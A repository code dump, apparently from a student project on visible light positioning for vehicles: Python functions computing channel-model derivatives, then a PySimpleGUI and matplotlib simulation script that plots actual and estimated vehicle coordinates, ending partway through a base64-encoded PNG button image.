+ self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_y1(ij, tx1, tx2, flag))
else:
return (self.d_lamb_coeff_y1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2)**(self.m + 1))
+ self.lamb_coeff(ij, tx1, tx2, flag) * (self.m + 1) * self.d_lamb_incid_y1(ij, tx1, tx2, flag) * (self.lamb_incid(ij, tx1, tx2, flag)**self.m))
def d_h_d_y2(self, ij, tx1, tx2, flag=True):
return (self.d_lamb_coeff_y2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.lamb_incid(ij, tx1, tx2, flag)
+ (self.lamb_coeff(ij, tx1, tx2, flag) * (self.m * self.d_lamb_irrad_y2(ij, tx1, tx2) * (self.lamb_irrad(ij, tx1, tx2)**(self.m - 1)))
* self.lamb_incid(ij, tx1, tx2, flag))
+ self.lamb_coeff(ij, tx1, tx2, flag) * (self.lamb_irrad(ij, tx1, tx2)**self.m) * self.d_lamb_incid_y2(ij, tx1, tx2))
def get_tau(self, ij, tx1, tx2, flag=True):
if ij == 11:
return np.sqrt(tx1[0]**2 + tx1[1]**2) / self.c
elif ij == 12:
if flag:
return np.sqrt(tx2[0]**2 + tx2[1]**2) / self.c
else:
return np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) / self.c
elif ij == 21:
return np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) / self.c
elif ij == 22:
if flag:
return np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) / self.c
else:
return np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) / self.c
else:
raise ValueError("Entered tx rx values do not exist")
# derivatives of tau:
def get_d_tau_d_param(self, k, ij, tx1, tx2, flag=True):
if k == 1:
return self.d_tau_d_x1(ij, tx1, tx2, flag)
elif k == 2:
return self.d_tau_d_y1(ij, tx1, tx2, flag)
elif k == 3:
return self.d_tau_d_x2(ij, tx1, tx2, flag)
elif k == 4:
return self.d_tau_d_y2(ij, tx1, tx2, flag)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
def d_tau_d_x1(self, ij, tx1, tx2, flag=True):
if ij == 11:
return tx1[0] / (np.sqrt(tx1[0]**2 + tx1[1]**2) * self.c)
elif ij == 12:
if flag:
return 0
else:
return tx1[0] / (np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) * self.c)
elif ij == 21:
return tx1[0] / (np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) * self.c)
elif ij == 22:
if flag:
return 0
else:
return tx1[0] / (np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) * self.c)
else:
raise ValueError("Entered tx rx values do not exist")
def d_tau_d_x2(self, ij, tx1, tx2, flag=True):
if flag:
return 0
else:
if ij == 11:
return 0
elif ij == 12:
return tx2[0] / (np.sqrt(tx2[0]**2 + tx2[1]**2) * self.c)
elif ij == 21:
return 0
elif ij == 22:
return tx2[0] / (np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) * self.c)
else:
raise ValueError("Entered tx rx values do not exist")
def d_tau_d_y1(self, ij, tx1, tx2, flag=True):
if ij == 11:
return tx1[1] / (np.sqrt(tx1[0]**2 + tx1[1]**2) * self.c)
elif ij == 12:
if flag:
return 0
else:
return (tx1[1] + self.L1) / (np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) * self.c)
elif ij == 21:
return (tx1[1] - self.L2) / (np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) * self.c)
elif ij == 22:
if flag:
return 0
else:
return (tx1[1]+self.L1-self.L2) / (np.sqrt(tx1[0]**2 + (tx1[1]+self.L1-self.L2)**2) * self.c)
else:
raise ValueError("Entered tx rx values do not exist")
def d_tau_d_y2(self, ij, tx1, tx2, flag=True):
if flag:
return 0
else:
if ij == 11:
return 0
elif ij == 12:
return tx2[1] / (np.sqrt(tx2[0]**2 + tx2[1]**2) * self.c)
elif ij == 21:
return 0
elif ij == 22:
return (tx2[1] - self.L2) / (np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) * self.c)
else:
raise ValueError("Entered tx rx values do not exist")
# quad_coeff
def quad_coeff(self, ij, q, tx1, tx2):
if q == 1 or q == 3:
const = -1 / (4*self.fov)
elif q == 2 or q == 4:
const = 1 / (4*self.fov)
else:
raise ValueError("Entered q value does not exist")
if ij == 11:
return (1/4) + const*np.arctan(tx1[1] / tx1[0])
elif ij == 12:
return (1/4) + const*np.arctan(tx2[1] / tx2[0])
elif ij == 21:
return (1/4) + const*np.arctan((tx1[1] - self.L2) / tx1[0])
elif ij == 22:
return (1/4) + const*np.arctan((tx2[1] - self.L2) / tx2[0])
else:
raise ValueError("Entered tx rx values do not exist")
# derivatives of quad_coeff
# buradan itibaren indentlere bir bakilsin
def d_quad_coeff_d_param(self, k, ij, q, tx1, tx2):
if k == 1:
return self.d_quad_coeff_d_x1(ij, q, tx1, tx2)
elif k == 2:
return self.d_quad_coeff_d_y1(ij, q, tx1, tx2)
elif k == 3:
return self.d_quad_coeff_d_x2(ij, q, tx1, tx2)
elif k == 4:
return self.d_quad_coeff_d_y2(ij, q, tx1, tx2)
else:
raise ValueError("Entered tx rx values do not exist incidence angle")
def d_quad_coeff_d_x1(self, ij, q, tx1, tx2):
if q == 1 or q == 3:
const = -1 / (4*self.fov)
elif q == 2 or q == 4:
const = 1 / (4*self.fov)
else:
raise ValueError("Entered q value does not exist")
if ij == 11:
return -const*(tx1[1] / (tx1[0]**2 + tx1[1]**2))
elif ij == 12:
return 0
elif ij == 21:
return -const*((tx1[1] - self.L2) / (tx1[0]**2 + (tx1[1] - self.L2)**2))
elif ij == 22:
return 0
else:
raise ValueError("Entered tx rx values do not exist")
def d_quad_coeff_d_x2(self, ij, q, tx1, tx2):
if q == 1 or q == 3:
const = -1 / (4*self.fov)
elif q == 2 or q == 4:
const = 1 / (4*self.fov)
else:
raise ValueError("Entered q value does not exist")
if ij == 11:
return 0
elif ij == 12:
return -const*(tx2[1] / (tx2[0]**2 + tx2[1]**2))
elif ij == 21:
return 0
elif ij == 22:
return -const*((tx2[1] - self.L2) / (tx2[0]**2 + (tx2[1] - self.L2)**2))
else:
raise ValueError("Entered tx rx values do not exist")
def d_quad_coeff_d_y1(self, ij, q, tx1, tx2):
if q == 1 or q == 3:
const = -1 / (4*self.fov)
elif q == 2 or q == 4:
const = 1 / (4*self.fov)
else:
raise ValueError("Entered q value does not exist")
if ij == 11:
return const*(tx1[0] / (tx1[0]**2 + tx1[1]**2))
elif ij == 12:
return 0
elif ij == 21:
return const*(tx1[0] / (tx1[0]**2 + (tx1[1] - self.L2)**2))
elif ij == 22:
return 0
else:
raise ValueError("Entered tx rx values do not exist")
def d_quad_coeff_d_y2(self, ij, q, tx1, tx2):
if q == 1 or q == 3:
const = -1 / (4*self.fov)
elif q == 2 or q == 4:
const = 1 / (4*self.fov)
else:
raise ValueError("Entered q value does not exist")
if ij == 11:
return 0
elif ij == 12:
return const*(tx2[0] / (tx2[0]**2 + tx2[1]**2))
elif ij == 21:
return 0
elif ij == 22:
return const*(tx2[0] / (tx2[0]**2 + (tx2[1] - self.L2)**2))
else:
raise ValueError("Entered tx rx values do not exist")
# h_ijq
def get_h_ijq(self, ij, q, tx1, tx2):
return self.get_h_ij(ij, tx1, tx2) * self.quad_coeff(ij, q, tx1, tx2)
# derivatives of h_ijq
def get_d_hij_q_d_param(self, k, ij, q, tx1, tx2):
if k == 1:
return self.d_hij_q_d_x1(ij, q, tx1, tx2)
elif k == 2:
return self.d_hij_q_d_y1(ij, q, tx1, tx2)
elif k == 3:
return self.d_hij_q_d_x2(ij, q, tx1, tx2)
elif k == 4:
return self.d_hij_q_d_y2(ij, q, tx1, tx2)
else:
raise ValueError("Entered tx rx values do not exist")
def d_hij_q_d_x1(self, ij, q, tx1, tx2):
return self.d_h_d_x1(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_x1(ij, q, tx1, tx2)
def d_hij_q_d_x2(self, ij, q, tx1, tx2):
return self.d_h_d_x2(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_x2(ij, q, tx1, tx2)
def d_hij_q_d_y1(self, ij, q, tx1, tx2):
return self.d_h_d_y1(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_y1(ij, q, tx1, tx2)
def d_hij_q_d_y2(self, ij, q, tx1, tx2):
return self.d_h_d_y2(ij, tx1, tx2, True) * self.quad_coeff(ij,q, tx1, tx2) + self.get_h_ij(ij, tx1, tx2) * self.d_quad_coeff_d_y2(ij, q, tx1, tx2) | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,987 | fsahbaz/elec491 | refs/heads/main | /simulation.py | #!/usr/bin/env python
import PySimpleGUI as sg
import matplotlib.patches as mpatches
import matplotlib.pyplot as plt
import numpy as np
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
from matplotlib.offsetbox import OffsetImage, AnnotationBbox
from config import sim_data
def draw_figure(canvas, figure):
figure_canvas_agg = FigureCanvasTkAgg(figure, canvas)
figure_canvas_agg.draw()
figure_canvas_agg.get_tk_widget().pack(side='top', fill='both', expand=1)
return figure_canvas_agg
# TODO: Add flexibility to the size for the each computer
def plot(input_name='', folder_name='', skip=sim_data.params.number_of_skip_data):
"""
Three things happen here:
1) Set the related directory inputted from main window and import actual coordinates, estimated coordinates, time, and
relative heading.
2)If needed skip some data points to show quick simulation.
3)According to imported datas, three plot will be plotted:
a) Simulation scenario
b) X coordinate estimates
c) Y coordinate estimates
"""
# a)
fl_name = folder_name
folder_name = 'GUI_data/100_point_202/' + folder_name
x, y = np.loadtxt(folder_name + 'x.txt', delimiter=','), np.loadtxt(folder_name + 'y.txt', delimiter=',')
x_pose, y_pose = np.loadtxt(folder_name + 'x_pose.txt', delimiter=','), np.loadtxt(folder_name + 'y_pose.txt',
delimiter=',')
x_becha, y_becha = np.loadtxt(folder_name + 'x_becha.txt', delimiter=','), np.loadtxt(folder_name + 'y_becha.txt',
delimiter=',')
x_roberts, y_roberts = np.loadtxt(folder_name + 'x_roberts.txt', delimiter=','), np.loadtxt(
folder_name + 'y_roberts.txt',
delimiter=',')
x_data, y_data = np.loadtxt(folder_name + 'x_data.txt', delimiter=','), np.loadtxt(folder_name + 'y_data.txt',
delimiter=',')
time_ = np.loadtxt(folder_name + 'time.txt', delimiter=',')
rel_hdg = np.loadtxt(folder_name + 'rel_hdg.txt', delimiter=',')
NUM_DATAPOINTS = len(x)
# b
x, y = x[::skip], y[::skip]
x_pose, y_pose = x_pose[::skip], y_pose[::skip]
x_roberts, y_roberts = x_roberts[::skip], y_roberts[::skip]
x_becha, y_becha = x_becha[::skip], y_becha[::skip]
x_data, y_data = x_data[::skip], y_data[::skip]
time_, rel_hdg = time_[::skip], rel_hdg[::skip]
# c
# define the form layout
sg.theme('Dark Teal 10')
layout = [
[sg.Text('Real Time Simulation Of Chosen Scenario', size=(40, 1), justification='center', font='Helvetica 20')],
[sg.Canvas(key='-CANVAS-')],
[sg.Button('Exit', size=(10, 2), pad=((280, 0), 3), font='Helvetica 14')]]
# create the form and show it without the plot
window = sg.Window('Simulation', layout, finalize=True, location=(0, 0), size=(1800, 950))
window.Maximize()
canvas_elem = window['-CANVAS-']
canvas = canvas_elem.TKCanvas
# draw the intitial scatter plot
fig, (ax1, ax2, ax3) = plt.subplots(3, 1)
ax1.set_xlabel("X axis")
ax1.set_ylabel("Y axis")
ax1.grid()
ax2.set_xlabel("Time axis")
ax2.set_ylabel("X axis")
ax2.grid()
ax3.set_xlabel("Time axis")
ax3.set_ylabel("Y axis")
ax3.grid()
DPI = fig.get_dpi()
fig.set_size_inches(800 * 2 / float(DPI), 850 / float(DPI))
fig_agg = draw_figure(canvas, fig)
fig.tight_layout()
for i in range(NUM_DATAPOINTS):
event, values = window.read(timeout=50)
if event in ('Exit', None):
exit(69)
img_ego_s = plt.imread(sim_data.params.img_ego_s_dir)
img_tgt_s = plt.imread(sim_data.params.img_tgt_s_dir)
img_tgt_f = plt.imread(sim_data.params.img_tgt_f_dir)
if fl_name == '/3/':
ax1.add_artist(
AnnotationBbox(OffsetImage(img_ego_s, zoom=0.25), (0, 0),
frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08),
(x[0][0] - 0.27, y[0][0] + 0.2), frameon=False))
if i == (len(x_data) - 1):
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08),
(x[-1][0] - 0.27, y[-1][0] + 0.2), frameon=False))
elif fl_name == '/2/':
ax1.add_artist(
AnnotationBbox(OffsetImage(img_ego_s, zoom=0.25), (0, 0),
frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08),
(x[1][0], y[1][0]), frameon=False))
if i == (len(x_data) - 1):
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08),
(x[-1][0], y[-1][0]), frameon=False))
elif fl_name == '/1/':
ax1.add_artist(
AnnotationBbox(OffsetImage(img_ego_s, zoom=0.25), (0, 0),
frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08),
(x[0][0], y[0][0]), frameon=False))
if i == (len(x_data) - 1):
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08),
(x[-1][0], y[-1][0]), frameon=False))
if fl_name == '/2/':
if i > 0:
ax1.plot(x[i, 0], y[i, 0], 'o', color='green', markersize=7)
ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory')
ax1.plot(x[i, 0], y[i, 0], '-', color='red', markersize=5)
else:
ax1.plot(x[i, 0], y[i, 0], 'o', color='green', markersize=7)
ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory')
ax1.plot(x[i, 0], y[i, 0], '-', color='red', markersize=5)
mid = 25
arrow_x = x[mid, 0]
arrow_y = y[mid, 0]
if i == mid and fl_name == '/3/':
ax1.arrow(arrow_x, arrow_y, -0.5, 0, width=0.05)
if fl_name == '/3/':
ax1.set_xlim(-8, 1)
ax1.set_ylim(-1, 4)
elif fl_name == '/2/':
ax1.set_xlim(-10, 1)
ax1.set_ylim(-5, 5)
elif fl_name == '/1/':
ax1.set_xlim(-9, 1)
ax1.set_ylim(-3, 6)
ax1.grid()
green_patch = mpatches.Patch(color='green', label='Target Vehicle')
red_patch = mpatches.Patch(color='red', label='Ego Vehicle')
ax1.legend(handles=[green_patch, red_patch])
ax1.set_xlabel('Ego Frame x [m]')
ax1.set_ylabel('Ego Frame y [m]')
ax2.plot(time_[i], x[i, 0], 'o', color='green')
if i > 0:
ax2.plot(time_[i - 1:i + 1:1], x_pose[i - 1:i + 1:1, 0], '-', color='blue')
ax2.plot(time_[i - 1:i + 1:1], x_roberts[i - 1:i + 1:1, 0], '-', color='purple')
ax2.plot(time_[i - 1:i + 1:1], x_becha[i - 1:i + 1:1, 0], '-', color='orange')
ax2.set_xlabel('Time [s]')
ax2.set_ylabel('[m]')
if fl_name == '/3/':
ax2.set_ylim(x[0, 0] - 0.5, x[-1, 0] + 0.5)
ax2.set_xlim(0, 10)
elif fl_name == '/1/':
ax2.set_xlim(0, 1)
ax2.set_ylim(-7, -2)
elif fl_name == '/2/':
ax2.set_xlim(0, 1)
ax2.set_ylim(-9, -2)
ax2.grid()
green_patch = mpatches.Patch(color='green', label='Actual coordinates')
blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates')
orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates')
purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates')
ax2.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch])
ax2.title.set_text('Fig 2: x Estimation Results')
ax3.title.set_text('Fig 3: y Estimation Results')
ax3.plot(time_[i], y[i, 0], 'o', color='green')
if i > 0:
ax3.plot(time_[i - 1:i + 1:1], y_pose[i - 1:i + 1:1, 0], '-', color='blue')
ax3.plot(time_[i - 1:i + 1:1], y_roberts[i - 1:i + 1:1, 0], '-', color='purple')
ax3.plot(time_[i - 1:i + 1:1], y_becha[i - 1:i + 1:1, 0], '-', color='orange')
ax3.set_xlabel('Time [s]')
ax3.set_ylabel('[m]')
if fl_name == '/3/':
ax3.set_ylim(y[0, 0] - 1, y[-1, 0] + 1)
ax3.set_xlim(0, 10)
elif fl_name == '/1/':
ax3.set_xlim(0, 1)
ax3.set_ylim(-4, 4)
elif fl_name == '/2/':
ax3.set_xlim(0, 1)
ax3.set_ylim(-5, 5)
ax3.grid()
green_patch = mpatches.Patch(color='green', label='Actual coordinates')
blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates')
orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates')
purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates')
ax3.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch])
ax1.grid(True)
ax2.grid(True)
ax3.grid(True)
fig_agg.draw()
window.close()
def main():
"""
Main GUI will be plotted here. According to selected scenario, the real time simulation plot will be shown.
"""
import PySimpleGUI as sg
sg.theme('Dark Teal 12')
size_width = sim_data.params.size_width
size_height = sim_data.params.size_height
button_three = b'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